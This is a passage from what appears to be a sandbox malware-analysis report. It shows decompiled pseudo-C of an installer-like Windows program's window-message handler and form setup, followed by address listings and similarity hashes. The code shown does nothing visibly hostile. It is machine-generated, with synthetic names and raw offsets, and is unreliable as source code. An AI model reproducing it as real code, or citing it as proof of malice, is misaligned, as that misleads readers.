											 *0x48e578 = 1;
											 *(_v12 + 0xc) = 1;
										}
									}
								}
							}
							goto L87;
						}
						_t180 = _t129 + 0xfffffece - 7;
						__eflags = _t180;
						if(_t180 < 0) {
							 *(_v12 + 0xc) = SendMessageA( *(_v12 + 8), _t281 + 0xbc00,  *(_v12 + 4),  *(_v12 + 8));
							goto L87;
						}
						_t186 = _t180 - 0xaec7;
						__eflags = _t186;
						if(_t186 == 0) {
							_t187 = _v8;
							__eflags =  *((short*)(_t187 + 0xbe));
							if( *((short*)(_t187 + 0xbe)) != 0) {
								 *((intOrPtr*)(_v8 + 0xbc))();
							}
							goto L87;
						}
						_t190 = _t186 - 1;
						__eflags = _t190;
						if(_t190 == 0) {
							_t191 = _v8;
							__eflags =  *((short*)(_t191 + 0xb6));
							if( *((short*)(_t191 + 0xb6)) != 0) {
								 *((intOrPtr*)(_v8 + 0xb4))();
							}
							goto L87;
						}
						__eflags = _t190 == 0x15;
						if(_t190 == 0x15) {
							_t285 =  *(_v8 + 0x28);
							__eflags = _t285;
							if(_t285 != 0) {
								__eflags =  *(_t285 + 0x124);
								if( *(_t285 + 0x124) != 0) {
									_t198 = IsWindowEnabled(E004181C4(_t285));
									__eflags = _t198;
									if(_t198 != 0) {
										_t202 = E004122F4( *((intOrPtr*)( *(_v8 + 0x28) + 0x124)), _v12);
										__eflags = _t202;
										if(_t202 != 0) {
											 *(_v12 + 0xc) = 1;
										}
									}
								}
							}
							goto L87;
						} else {
							goto L86;
						}
					}
					if(__eflags == 0) {
						_t207 = ( *(_v12 + 4) & 0x0000fff0) - 0xf020;
						__eflags = _t207;
						if(_t207 == 0) {
							E00424178(_v8, _t287);
						} else {
							__eflags = _t207 == 0x100;
							if(_t207 == 0x100) {
								E004241C0(_v8);
							} else {
								E00423B68(_t339);
							}
						}
						goto L87;
					}
					__eflags = _t129 - 0x14;
					if(__eflags > 0) {
						_t214 = _t129 - 0x15;
						__eflags = _t214;
						if(_t214 == 0) {
							__eflags =  *0x48e590 - 0x20;
							if( *0x48e590 >= 0x20) {
								__eflags =  *0x48f648;
								if( *0x48f648 != 0) {
									 *0x48f648();
								}
							}
							goto L87;
						}
						_t216 = _t214 - 1;
						__eflags = _t216;
						if(_t216 == 0) {
							_t217 = _v12;
							__eflags =  *(_t217 + 4);
							if( *(_t217 + 4) != 0) {
								E00404E6C();
							}
							goto L87;
						}
						_t219 = _t216 - 6;
						__eflags = _t219;
						if(_t219 == 0) {
							E00423B68(_t339);
							_pop(_t300);
							asm("sbb eax, eax");
							 *((char*)(_v8 + 0x7d)) =  ~( ~( *(_v12 + 4)));
							_t225 = _v12;
							__eflags =  *(_t225 + 4);
							if( *(_t225 + 4) == 0) {
								E00423A68(_v8, _t300);
								PostMessageA( *(_v8 + 0x20), 0xb001, 0, 0); // executed
							} else {
								E00423AF8(_v8);
								PostMessageA( *(_v8 + 0x20), 0xb000, 0, 0);
							}
							goto L87;
						}
						__eflags = _t219 == 0x1b;
						if(_t219 == 0x1b) {
							 *(_v12 + 0xc) = E0042415C(_v8);
							goto L87;
						} else {
							goto L86;
						}
					}
					if(__eflags == 0) {
						 *_v12 = 0x27;
						E00423B68(_t339);
						goto L87;
					}
					_t241 = _t129 - 7;
					__eflags = _t241;
					if(_t241 == 0) {
						PostMessageA( *(_v8 + 0x20), 0xb01a, 0, 0);
						E00423B68(_t339);
						goto L87;
					}
					_t246 = _t241 - 3;
					__eflags = _t246;
					if(_t246 == 0) {
						_t247 = _v12;
						__eflags =  *(_t247 + 4);
						if( *(_t247 + 4) == 0) {
							E00423B68(_t339);
							_pop(_t303);
							_t249 = _v8;
							__eflags =  *(_t249 + 0x84);
							if( *(_t249 + 0x84) == 0) {
								_t254 = E0041EE88( *(_v8 + 0x20), _t281, _t331, _t333); // executed
								 *((intOrPtr*)(_v8 + 0x84)) = _t254;
							}
							E00423A68(_v8, _t303);
						} else {
							E00423AF8(_v8);
							_t257 = _v8;
							_t258 =  *(_t257 + 0x84);
							__eflags =  *(_t257 + 0x84);
							if( *(_t257 + 0x84) != 0) {
								E0041EF3C(_t258);
								__eflags = 0;
								 *((intOrPtr*)(_v8 + 0x84)) = 0;
							}
							E00423B68(_t339);
						}
						goto L87;
					}
					_t262 = _t246 - 5;
					__eflags = _t262;
					if(_t262 == 0) {
						_t265 = IsIconic( *(_v8 + 0x20));
						__eflags = _t265;
						if(_t265 == 0) {
							E00423B68(_t339);
						} else {
							E00423BA4(_t339);
						}
						goto L87;
					}
					__eflags = _t262 == 1;
					if(_t262 == 1) {
						_t269 = _v8;
						_t270 =  *(_t269 + 0x28);
						__eflags =  *(_t269 + 0x28);
						if( *(_t269 + 0x28) != 0) {
							E00422C30(_t270, _t287);
						}
						goto L87;
					} else {
						goto L86;
					}
				} else {
					_t286 = _t279 + 1;
					_t338 = 0;
					while(1) {
						_t274 = E0040B420( *((intOrPtr*)(_v8 + 0x80)), _t338);
						_t287 = _t274;
						if( *_t274() != 0) {
							_t134 = 0;
							_pop(_t330);
							 *[fs:eax] = _t330;
							break;
						}
						_t338 = _t338 + 1;
						_t286 = _t286 - 1;
						__eflags = _t286;
						if(_t286 != 0) {
							continue;
						}
						goto L5;
					}
					L88:
					return _t134;
				}
			}

0x00423bf7
0x00423bf8
0x00423bf9
0x00423bfc
0x00423c01
0x00423c02
0x00423c07
0x00423c0a
0x00423c12
0x00423c21
0x00423c24
0x00423c58
0x00423c5e
0x00423c66
0x00423c68
0x00423c6a
0x00423c6f
0x00423cd0
0x00423cd5
0x00423d0b
0x00423d0b
0x00423d10
0x00424085
0x0042408a
0x0042408c
0x00424092
0x00424097
0x0042409a
0x0042409d
0x004240a5
0x004240aa
0x004240ac
0x004240b3
0x004240b3
0x004240ac
0x0042409d
0x00424136
0x00424136
0x00424138
0x0042413b
0x00000000
0x0042413b
0x00423d16
0x00423d16
0x00423d19
0x004240ca
0x00000000
0x004240ca
0x00423d1f
0x00423d1f
0x00423d20
0x004240d1
0x004240d4
0x004240d8
0x004240fd
0x004240da
0x004240e8
0x004240e8
0x00000000
0x004240d8
0x00423d26
0x00423d29
0x00424104
0x00424107
0x0042410b
0x00424127
0x0042410d
0x00424119
0x00424119
0x00423d2f
0x0042412f
0x00424130
0x00424135
0x00000000
0x00423d29
0x00423cd7
0x00423f98
0x00423f9b
0x00423f9d
0x00423fa3
0x00423fa7
0x00423fac
0x00423fae
0x00423fbc
0x00423fc1
0x00423fc3
0x00423fd1
0x00423fd6
0x00423fd8
0x00423fde
0x00423fe5
0x00423ff4
0x0042400d
0x00424013
0x00424018
0x00424022
0x00424022
0x00423fd8
0x00423fc3
0x00423fae
0x00000000
0x00423f9d
0x00423ce2
0x00423ce2
0x00423ce5
0x00423f1b
0x00000000
0x00423f1b
0x00423ceb
0x00423ceb
0x00423cf0
0x0042402e
0x00424031
0x00424039
0x0042404b
0x0042404b
0x00000000
0x00424039
0x00423cf6
0x00423cf6
0x00423cf7
0x00424056
0x00424059
0x00424061
0x00424073
0x00424073
0x00000000
0x00424061
0x00423cfd
0x00423d00
0x00423f3d
0x00423f40
0x00423f42
0x00423f48
0x00423f4f
0x00423f5d
0x00423f62
0x00423f64
0x00423f79
0x00423f7e
0x00423f80
0x00423f89
0x00423f89
0x00423f80
0x00423f64
0x00423f4f
0x00000000
0x00423d06
0x00000000
0x00423d06
0x00423d00
0x00423c71
0x00423d3f
0x00423d3f
0x00423d44
0x00423d52
0x00423d46
0x00423d46
0x00423d4b
0x00423d5f
0x00423d4d
0x00423d6a
0x00423d6f
0x00423d4b
0x00000000
0x00423d44
0x00423c77
0x00423c7a
0x00423ca9
0x00423ca9
0x00423cac
0x00423d8d
0x00423d94
0x00423d9a
0x00423da1
0x00423da7
0x00423da7
0x00423da1
0x00000000
0x00423d94
0x00423cb2
0x00423cb2
0x00423cb3
0x00423f23
0x00423f26
0x00423f2a
0x00423f30
0x00423f30
0x00000000
0x00423f2a
0x00423cb9
0x00423cb9
0x00423cbc
0x00423e24
0x00423e29
0x00423e32
0x00423e39
0x00423e3c
0x00423e3f
0x00423e43
0x00423e6a
0x00423e7f
0x00423e45
0x00423e48
0x00423e5d
0x00423e5d
0x00000000
0x00423e43
0x00423cc2
0x00423cc5
0x00423dfa
0x00000000
0x00423ccb
0x00000000
0x00423ccb
0x00423cc5
0x00423c7c
0x00423ddd
0x00423de4
0x00000000
0x00423de9
0x00423c82
0x00423c82
0x00423c85
0x00423e12
0x00423e18
0x00000000
0x00423e1d
0x00423c8b
0x00423c8b
0x00423c8e
0x00423e89
0x00423e8c
0x00423e90
0x00423ec4
0x00423ec9
0x00423eca
0x00423ecd
0x00423ed4
0x00423edc
0x00423ee4
0x00423ee4
0x00423eed
0x00423e92
0x00423e95
0x00423e9a
0x00423e9d
0x00423ea3
0x00423ea5
0x00423ea7
0x00423eaf
0x00423eb1
0x00423eb1
0x00423eb8
0x00423ebd
0x00000000
0x00423e90
0x00423c94
0x00423c94
0x00423c97
0x00423db9
0x00423dbe
0x00423dc0
0x00423dcf
0x00423dc2
0x00423dc3
0x00423dc8
0x00000000
0x00423dc0
0x00423c9d
0x00423c9e
0x00423d75
0x00423d78
0x00423d7b
0x00423d7d
0x00423d83
0x00423d83
0x00000000
0x00423ca4
0x00000000
0x00423ca4
0x00423c26
0x00423c26
0x00423c27
0x00423c29
0x00423c34
0x00423c39
0x00423c45
0x00423c47
0x00423c49
0x00423c4c
0x00423c4f
0x00423c4f
0x00423c54
0x00423c55
0x00423c55
0x00423c56
0x00000000
0x00000000
0x00000000
0x00423c56
0x00424155
0x0042415b
0x0042415b

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4c1f9ba9625ee5f14806474b1a988c401ee648e1e9089bb6159e3b6ae2b59d0
Instruction ID: 234239396bac7d780282d62e0365a5eaf84f36146feb1829a52011552ebd301b
Opcode Fuzzy Hash: d4c1f9ba9625ee5f14806474b1a988c401ee648e1e9089bb6159e3b6ae2b59d0
Instruction Fuzzy Hash: B9E18130700124EFDB20DF69E989A6DBBF4EB54704FA440AAE4459B352D73CEE91DB09

Uniqueness

Uniqueness Score: -1.00%

Function 00461C80 Relevance: 13.9, APIs: 4, Strings: 3, Instructions: 1609
windowCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00461C80(void* __ebx, intOrPtr __ecx, char __edx, void* __edi, void* __esi, void* __fp0) {
				char _v8;
				char _v9;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v60;
				char _v64;
				char _t557;
				signed int _t573;
				signed int _t575;
				void* _t611;
				struct HINSTANCE__* _t651;
				intOrPtr _t694;
				intOrPtr _t695;
				intOrPtr _t718;
				intOrPtr _t719;
				intOrPtr _t743;
				intOrPtr _t744;
				intOrPtr _t759;
				intOrPtr _t760;
				intOrPtr _t793;
				void* _t806;
				void* _t831;
				void* _t850;
				intOrPtr _t882;
				intOrPtr _t915;
				void* _t928;
				void* _t954;
				intOrPtr _t976;
				intOrPtr _t1001;
				intOrPtr _t1029;
				intOrPtr _t1038;
				intOrPtr _t1047;
				intOrPtr _t1056;
				intOrPtr _t1057;
				void* _t1084;
				intOrPtr _t1120;
				intOrPtr _t1128;
				intOrPtr _t1131;
				void* _t1133;
				intOrPtr _t1140;
				void* _t1142;
				intOrPtr _t1143;
				intOrPtr _t1156;
				intOrPtr _t1161;
				void* _t1200;
				intOrPtr _t1201;
				intOrPtr _t1210;
				intOrPtr _t1215;
				intOrPtr _t1217;
				intOrPtr _t1218;
				intOrPtr _t1223;
				intOrPtr _t1234;
				void* _t1236;
				intOrPtr _t1238;
				intOrPtr _t1245;
				intOrPtr _t1267;
				intOrPtr _t1272;
				intOrPtr _t1276;
				void* _t1278;
				intOrPtr _t1286;
				intOrPtr _t1299;
				intOrPtr _t1332;
				intOrPtr _t1337;
				intOrPtr _t1342;
				intOrPtr _t1376;
				intOrPtr _t1442;
				intOrPtr* _t1453;
				intOrPtr _t1454;
				char _t1500;
				intOrPtr _t1520;
				intOrPtr _t1521;
				intOrPtr _t1522;
				intOrPtr _t1523;
				intOrPtr _t1533;
				intOrPtr _t1537;
				signed int _t1541;
				intOrPtr _t1554;
				intOrPtr _t1561;
				intOrPtr _t1562;
				intOrPtr _t1564;
				intOrPtr _t1565;
				intOrPtr _t1573;
				intOrPtr _t1577;
				intOrPtr _t1583;
				void* _t1611;
				intOrPtr _t1619;
				void* _t1672;
				intOrPtr _t1678;
				intOrPtr _t1689;
				intOrPtr _t1708;
				intOrPtr _t1712;
				intOrPtr _t1713;
				intOrPtr _t1720;
				intOrPtr _t1721;
				intOrPtr _t1726;
				intOrPtr _t1729;
				intOrPtr _t1741;
				intOrPtr _t1747;
				intOrPtr _t1761;
				intOrPtr _t1787;
				signed int _t1804;
				signed int _t1805;
				signed int _t1810;
				signed int _t1811;
				intOrPtr _t1815;
				intOrPtr _t1824;
				intOrPtr _t1825;
				intOrPtr _t1828;
				intOrPtr _t1832;
				signed int _t1850;
				signed int _t1852;
				void* _t1853;
				void* _t1858;
				void* _t1859;
				intOrPtr* _t1861;
				void* _t1868;
				intOrPtr* _t1869;
				struct HMENU__* _t1877;
				void* _t1878;
				void* _t1879;
				intOrPtr _t1880;
				signed int _t1881;
				void* _t1883;
				void* _t1884;
				intOrPtr _t1885;
				void* _t1891;
				void* _t1892;
				signed char _t1896;
				void* _t1903;
				void* _t1906;
				void* _t1909;
				void* _t1950;

				_t1950 = __fp0;
				_t1834 = __edi;
				_t1500 = __edx;
				_t1454 = __ecx;
				_t1883 = _t1884;
				_t1885 = _t1884 + 0xffffffc4;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v48 = 0;
				_v64 = 0;
				_v24 = 0;
				if(__edx != 0) {
					_t1885 = _t1885 + 0xfffffff0;
					_t557 = E00402D48(_t557, _t1883);
				}
				_v16 = _t1454;
				_v9 = _t1500;
				_v8 = _t557;
				_t1453 =  &_v8;
				 *[fs:eax] = _t1885;
				E0048AAA0(_v16, 0);
				 *((intOrPtr*)( *_t1453 + 0x2ec)) = E00402B48(1);
				 *((intOrPtr*)( *_t1453 + 0x32c)) = E00402B48(1);
				 *((intOrPtr*)( *_t1453 + 0x31c)) = E00402B48(1);
				 *((intOrPtr*)( *_t1453 + 0x320)) = E00402B48(1);
				 *((intOrPtr*)( *_t1453 + 0x324)) = E00402B48(1);
				 *((intOrPtr*)( *_t1453 + 0x328)) = E00402B48(1);
				_t573 =  *0x4901e8; // 0x2318890
				_t1850 =  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x24c)) + 0x30)) -  *((intOrPtr*)( *_t573 + 0x1c))( *[fs:eax], 0x46331b, _t1883);
				if(_t1850 > 0) {
					_t1442 =  *((intOrPtr*)( *_t1453 + 0x24c));
					E00414620( *((intOrPtr*)( *_t1453 + 0x24c)),  *((intOrPtr*)(_t1442 + 0x30)) - _t1850);
					_t1832 =  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x24c)) + 0x28));
					_t1881 = _t1850 >> 1;
					if( *((intOrPtr*)(_t1442 + 0x30)) - _t1850 < 0) {
						asm("adc esi, 0x0");
					}
					E004145E0( *((intOrPtr*)( *_t1453 + 0x24c)), _t1832 + _t1881);
				}
				_t575 =  *0x4901e8; // 0x2318890
				_t1852 =  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x24c)) + 0x2c)) -  *((intOrPtr*)( *_t575 + 0x20))();
				if(_t1852 > 0) {
					_t1891 =  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x24c)) + 0x2c)) - _t1852;
					E00414600( *((intOrPtr*)( *_t1453 + 0x24c)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x24c)) + 0x2c)) - _t1852);
					_t1828 =  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x24c)) + 0x24));
					_t1852 = _t1852 >> 1;
					if(_t1891 < 0) {
						asm("adc esi, 0x0");
					}
					_t1892 = _t1828 + _t1852;
					E004145C0( *((intOrPtr*)( *_t1453 + 0x24c)));
				}
				E0048ACC4( *_t1453, _t1892);
				_t1893 =  *0x49015d & 0x00000001;
				if(( *0x49015d & 0x00000001) == 0) {
					E0048ACA4( *_t1453);
				} else {
					_t1825 =  *0x48ff68; // 0x2341288
					E0048AB80( *_t1453, 1, _t1825);
				}
				_t1456 =  *0x49019c; // 0xc
				_t1520 =  *0x490174; // 0x231768c
				E0048A72C( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x230)) + 0x44)), _t1453, _t1456, _t1520, _t1834, _t1852, 0xc, 0);
				_t1521 =  *0x46333c; // 0x1
				E0041A3B4( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x230)) + 0x44)), _t1521, _t1893);
				_t1522 =  *0x46333c; // 0x1
				E0041A3B4( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x244)) + 0x44)), _t1522, _t1893);
				if(( *0x49015d & 0x00000001) == 0) {
					_t1456 =  &_v48;
					_t1523 =  *0x49025c; // 0x2306e88
					E004503A4(0x99,  &_v48, _t1523);
					E00414AFC( *_t1453, _t1453, _v48, _t1834, _t1852);
				} else {
					_t1824 =  *0x48fdbc; // 0x22f2d78
					E00414AFC( *_t1453, _t1453, _t1824, _t1834, _t1852);
				}
				if(( *0x49015d & 0x00000001) == 0) {
					_v36 = E004146A0( *_t1453);
					_v40 = E004146E4( *_t1453);
					_t1896 =  *( *_t1453 + 0x110) |  *0x463340;
					E00420F7C( *_t1453, _t1456,  *( *_t1453 + 0x110) |  *0x463340);
					E00420FA8( *_t1453, 1);
					E00420B4C( *_t1453, _v36);
					E00420B78( *_t1453, _v40);
				}
				_v56 = 0xa;
				_v55 = 0xc;
				_v54 = 0xd;
				_v53 = 0xe;
				_v52 = 0x10;
				_t1853 = E0048AAE0( *_t1453, _t1453, 4,  &_v56, _t1834, _t1852, _t1896);
				_v20 = E0048AD80( *_t1453, 0xa);
				E00414600( *((intOrPtr*)( *_t1453 + 0x1bc)), _t1853);
				E00414600( *((intOrPtr*)( *_t1453 + 0x1b8)), _t1853);
				E00414600( *((intOrPtr*)( *_t1453 + 0x1b4)), _t1853);
				_t611 = E004146A0( *_t1453);
				E004145C0( *((intOrPtr*)( *_t1453 + 0x1b4)));
				E004145C0( *((intOrPtr*)( *_t1453 + 0x1b8)));
				_t1840 = _t611 - _v20 - _t1853 - _v20 - _t1853 - _t1853;
				E004145C0( *((intOrPtr*)( *_t1453 + 0x1bc)));
				_t1533 =  *0x49012c; // 0x400000
				E0045BE34( *((intOrPtr*)( *_t1453 + 0x22c)), _t1533);
				E0045BE4C( *((intOrPtr*)( *_t1453 + 0x22c)));
				E0045BE58( *((intOrPtr*)( *_t1453 + 0x22c)), 1);
				E0045BEA0( *((intOrPtr*)( *_t1453 + 0x22c)), 0 | ( *0x490160 & 0x00000040) != 0x00000000);
				_t1537 =  *0x49012c; // 0x400000
				E0045BE34( *((intOrPtr*)( *_t1453 + 0x260)), _t1537);
				E0045BE4C( *((intOrPtr*)( *_t1453 + 0x260)));
				E0045BE58( *((intOrPtr*)( *_t1453 + 0x260)), 1);
				E0045BEA0( *((intOrPtr*)( *_t1453 + 0x260)), 0 | ( *0x490160 & 0x00000040) != 0x00000000);
				_t1541 =  *0x4901e8; // 0x2318890
				E0045BE4C( *((intOrPtr*)( *_t1453 + 0x24c)));
				_t1899 =  *0x490160 & 0x00000040;
				E0045BEA0( *((intOrPtr*)( *_t1453 + 0x24c)), _t1541 & 0xffffff00 | ( *0x490160 & 0x00000040) != 0x00000000);
				_t651 =  *0x48f014; // 0x400000
				E0041D694( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2b8)) + 0xb4)), LoadBitmapA(_t651, "STOPIMAGE"));
				E0045BE70( *((intOrPtr*)( *_t1453 + 0x2b8)), 0xc0c0c0);
				E0045BE88( *((intOrPtr*)( *_t1453 + 0x2b8)),  *((intOrPtr*)( *_t1453 + 0x48)));
				E00461ADC(_t1453, 4, _t611 - _v20 - _t1853 - _v20 - _t1853 - _t1853, _t1853,  *0x490160 & 0x00000040, _t1883); // executed
				E004634F0( *_t1453, 1,  *0x490160 & 0x00000040, 0, 0, 0);
				E00461124(0xbd,  &_v48);
				E00403594( &_v48, 0x463358);
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x230)), _t1453, _v48, _t611 - _v20 - _t1853 - _v20 - _t1853 - _t1853, _t1853);
				E0046145C( *((intOrPtr*)( *_t1453 + 0x1c8)),  *((intOrPtr*)( *_t1453 + 0x230)),  *0x490160 & 0x00000040);
				E0046148C( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x230)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x230)) + 0x30)) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x264)) + 0x28)),  *((intOrPtr*)( *_t1453 + 0x264)));
				E00461124(0xbe,  &_v48);
				E00403594( &_v48, 0x463364);
				_t1554 =  *0x48fbd4; // 0x230a0d0
				E00403594( &_v48, _t1554);
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x264)), _t1453, _v48, _t611 - _v20 - _t1853 - _v20 - _t1853 - _t1853, _t1853);
				_t694 =  *0x48fe7c; // 0x2318070
				_t695 =  *0x48fcfc; // 0x230b5d8
				E004634F0( *_t1453, 2,  *0x490160 & 0x00000040, _t695, _t694,  *((intOrPtr*)( *_t1453 + 0x1d4)));
				E00461124(0x65,  &_v48);
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x268)), _t1453, _v48, _t611 - _v20 - _t1853 - _v20 - _t1853 - _t1853, _t1853);
				E0046148C(E0046145C( *((intOrPtr*)( *_t1453 + 0x1cc)),  *((intOrPtr*)( *_t1453 + 0x268)),  *0x490160 & 0x00000040),  *((intOrPtr*)( *_t1453 + 0x26c)));
				_t1561 =  *0x48fcf8; // 0x230b5b4
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x2a0)), _t1453, _t1561, _t611 - _v20 - _t1853 - _v20 - _t1853 - _t1853, _t706);
				_t1562 =  *0x48fd04; // 0x230b6b8
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x2a4)), _t1453, _t1562, _t611 - _v20 - _t1853 - _v20 - _t1853 - _t1853, _t706);
				_t718 =  *0x48fe80; // 0x2318090
				_t719 =  *0x48fd38; // 0x230ba8c
				E004634F0( *_t1453, 3,  *0x490160 & 0x00000040, _t719, _t718,  *((intOrPtr*)( *_t1453 + 0x1d8)));
				_t1564 =  *0x48fd3c; // 0x230bac4
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x214)), _t1453, _t1564, _t611 - _v20 - _t1853 - _v20 - _t1853 - _t1853, _t706);
				_t1565 =  *0x48fd34; // 0x230ba74
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x21c)), _t1453, _t1565, _t1840, _t706);
				E004145E0( *((intOrPtr*)( *_t1453 + 0x21c)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x21c)) + 0x28)) + E0046145C( *((intOrPtr*)( *_t1453 + 0x1cc)),  *((intOrPtr*)( *_t1453 + 0x214)), _t1899));
				E004145E0( *((intOrPtr*)( *_t1453 + 0x218)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x218)) + 0x28)) + _t731 + E0046145C( *((intOrPtr*)( *_t1453 + 0x1cc)),  *((intOrPtr*)( *_t1453 + 0x21c)), _t1899));
				_t743 =  *0x48fe74; // 0x2318040
				_t744 =  *0x48fcd0; // 0x230b30c
				E004634F0( *_t1453, 4, _t1899, _t744, _t743,  *((intOrPtr*)( *_t1453 + 0x1dc)));
				_t1573 =  *0x48fccc; // 0x230b2c8
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x238)), _t1453, _t1573, _t1840, _t731 + E0046145C( *((intOrPtr*)( *_t1453 + 0x1cc)),  *((intOrPtr*)( *_t1453 + 0x21c)), _t1899));
				E0046148C(E0046145C( *((intOrPtr*)( *_t1453 + 0x1cc)),  *((intOrPtr*)( *_t1453 + 0x238)), _t1899),  *((intOrPtr*)( *_t1453 + 0x234)));
				_t759 =  *0x48fea0; // 0x23181a0
				_t760 =  *0x48fe4c; // 0x2317e48
				_t1468 =  *((intOrPtr*)( *_t1453 + 0x1cc));
				E004634F0( *_t1453, 5, _t1899, _t760, _t759,  *((intOrPtr*)( *_t1453 + 0x1e0)));
				_t1577 =  *0x48fe50; // 0x2317e74
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x2a8)), _t1453, _t1577, _t1840, _t753);
				_t1858 = E0046145C( *((intOrPtr*)( *_t1453 + 0x1cc)),  *((intOrPtr*)( *_t1453 + 0x2a8)), _t1899);
				E004145E0( *((intOrPtr*)( *_t1453 + 0x2ac)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2ac)) + 0x28)) + _t1858);
				E004145E0( *((intOrPtr*)( *_t1453 + 0x2b0)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2b0)) + 0x28)) + _t1858);
				_t1583 =  *0x48fe58; // 0x2317eb0
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x2b0)), _t1453, _t1583, _t1840, _t1858);
				_t1859 = _t1858 + E0046145C( *((intOrPtr*)( *_t1453 + 0x1cc)),  *((intOrPtr*)( *_t1453 + 0x2b0)), _t1899);
				E004145E0( *((intOrPtr*)( *_t1453 + 0x2b4)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2b4)) + 0x28)) + _t1859);
				_t1900 =  *0x490235;
				if( *0x490235 == 0) {
					E00414A28( *((intOrPtr*)( *_t1453 + 0x2c4)), _t1468, 0, _t1840);
					__eflags = 0;
					E00414A28( *((intOrPtr*)( *_t1453 + 0x2c8)), _t1468, 0, _t1840);
				} else {
					E004145E0( *((intOrPtr*)( *_t1453 + 0x2c4)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2c4)) + 0x28)) + _t1859);
					_t1815 =  *0x48fe5c; // 0x2317ecc
					E00414AFC( *((intOrPtr*)( *_t1453 + 0x2c4)), _t1453, _t1815, _t1840, _t1859);
					E004145E0( *((intOrPtr*)( *_t1453 + 0x2c8)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2c8)) + 0x28)) + _t1859);
				}
				_t793 =  *0x48fe8c; // 0x23180ec
				E00461124(0x87,  &_v48);
				E004634F0( *_t1453, 6, _t1900, _v48, _t793,  *((intOrPtr*)( *_t1453 + 0x1e4)));
				E00461124(0x89,  &_v48);
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x290)), _t1453, _v48, _t1840, _t1859);
				_t806 = E0048AD80( *_t1453, 0xc);
				_t1860 =  *((intOrPtr*)( *_t1453 + 0x2dc));
				_t1842 = _t806 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2dc)) + 0x24)) +  *((intOrPtr*)(_t1860 + 0x2c));
				_t1861 =  *((intOrPtr*)( *_t1453 + 0x290));
				_t1470 =  *((intOrPtr*)(_t1861 + 0x28));
				_t1862 =  *_t1861;
				 *((intOrPtr*)( *_t1861 + 0x4c))( *((intOrPtr*)(_t1861 + 0x30)),  *((intOrPtr*)(_t1861 + 0x2c)) - _t806 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2dc)) + 0x24)) +  *((intOrPtr*)(_t1860 + 0x2c)) -  *((intOrPtr*)(_t1861 + 0x24)));
				E0046145C( *((intOrPtr*)(_t1861 + 0x28)),  *((intOrPtr*)( *_t1453 + 0x290)), _t1900);
				if( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2dc)) + 0x30)) >  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x290)) + 0x30))) {
					_t1810 =  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2dc)) + 0x30)) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x290)) + 0x30)) - 1;
					_t1811 = _t1810 >> 1;
					if(_t1810 < 0) {
						asm("adc edx, 0x0");
					}
					_t1903 = _t1811 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x290)) + 0x28));
					E004145E0( *((intOrPtr*)( *_t1453 + 0x290)), _t1811 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x290)) + 0x28)));
				}
				E00461124(0x86,  &_v48);
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x2e4)), _t1453, _v48, _t1842, _t1862);
				_push(E0048AD90( *_t1453, 0xd) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x290)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x290)) + 0x30)) - 1);
				_t831 = E0048AD90( *_t1453, 0xc);
				_pop(_t1611);
